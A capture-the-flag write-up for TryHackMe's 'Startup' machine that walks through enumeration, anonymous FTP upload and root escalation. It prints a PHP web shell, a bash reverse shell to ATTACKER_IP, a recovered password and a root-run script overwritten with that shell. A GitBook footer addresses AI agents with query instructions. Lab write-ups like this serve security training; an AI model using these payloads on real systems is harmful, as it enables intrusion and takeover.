> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/start-up-tryhackme.md).

# Start-up(TryHackMe)

### 📌 Overview

**Machine Name:** Startup\
**Difficulty:** Easy\
**Platform:** TryHackMe

#### 🎯 Objective

* Gain initial access
* Escalate privileges
* Capture user & root flags

***

### 🔍 Enumeration

#### 🔎 Nmap Scan

![nmap](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/refs/heads/main/startup/nmap.png)

```bash
nmap -A -sC -sV -p- 10.49.181.85
```

#### 📊 Findings

* **21/tcp** → FTP (vsftpd 3.0.3)
  * Anonymous login allowed
  * Writable directory present
* **22/tcp** → SSH
* **80/tcp** → HTTP (Apache 2.4.18)

***

### 🌐 Web Enumeration

#### 🔎 Directory Bruteforce

![ffuf](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/refs/heads/main/startup/ffuf.png)

```bash
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.49.181.85/FUZZ
```

#### 📌 Findings

* `/files` directory discovered
* No direct web vulnerabilities identified

***

### 📂 FTP Enumeration

![ftp](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/refs/heads/main/startup/ftp.png)

#### 🔑 Access

```bash
ftp 10.49.181.85
```

Login:

```bash
username: anonymous
password: anonymous
```

#### 📁 Files Found

* `important.jpg`
* `notice.txt`
* `ftp/` → **world-writable directory**

***

### ⚠️ Vulnerability Identified

> Anonymous FTP + Writable directory = File Upload Vulnerability

***

### 🚀 Initial Access (Web Shell)

#### 🧪 Upload PHP Shell

```php
<?php system($_GET['cmd']); ?>
```

Upload to `/ftp` directory.

Access:

```bash
http://<TARGET_IP>/files/ftp/shell.php
```

***

### 🖥️ Reverse Shell

```bash
nc -lvnp 5050
```

Trigger:

```bash
bash -i >& /dev/tcp/ATTACKER_IP/5050 0>&1
```

***

### 🔐 Credential Discovery (Wireshark)

![tcp-stream](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/refs/heads/main/startup/tcp%20stream%20follow.png)

#### 📂 Location

```bash
/incident
```

#### 🔍 Analysis

* Open `.pcap` file in Wireshark
* Use **Follow TCP Stream**

#### 🎯 Credentials Found

```bash
c4ntg3t3n0ughsp1c3
```

👉 Credentials exposed via **cleartext network traffic**

***

### 🔓 Privilege Escalation

#### 🔍 Enumeration

```bash
find / -perm -u=s 2>/dev/null
```

No direct SUID exploit → continue searching

***

### ⚡ Critical Finding

```bash
/etc/print.sh
```

👉 Writable script executed by **root**

***

### 💥 Exploitation

Overwrite using `echo`:

```bash
echo '#!/bin/bash' > /etc/print.sh
echo 'bash -i >& /dev/tcp/ATTACKER_IP/5050 0>&1' >> /etc/print.sh
```

***

### 🧨 Root Shell

![root](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/refs/heads/main/startup/root.png)

Listener:

```bash
nc -lvnp 5050
```

Result:

```bash
whoami
root
```

***

### 🏁 Flags

#### 👤 User Flag

![user](https://raw.githubusercontent.com/Ganesha-hk/Tryhackme-ctf-imgs/refs/heads/main/startup/user.png)

```bash
cat /home/*/user.txt
```

***

#### 👑 Root Flag

```bash
cat /root/root.txt
```

***

### 🧠 Lessons Learned

#### 🔥 Key Takeaways

* Anonymous FTP access is highly dangerous
* Writable directories enable easy exploitation
* PCAP analysis can reveal sensitive credentials
* Root-executed scripts are critical attack vectors
* Always chain vulnerabilities for full compromise

***

### 💡 Real-World Mapping

| Step                 | Impact                |
| -------------------- | --------------------- |
| FTP misconfiguration | Initial foothold      |
| File upload          | Remote code execution |
| Wireshark analysis   | Credential leakage    |
| Script abuse         | Privilege escalation  |

***

### 🏆 Conclusion

This machine demonstrates a complete attack chain:

> Enumeration → Exploitation → Credential Discovery → Privilege Escalation → Root

***

🔥 **Machine fully compromised**


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/tryhackme/start-up-tryhackme.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.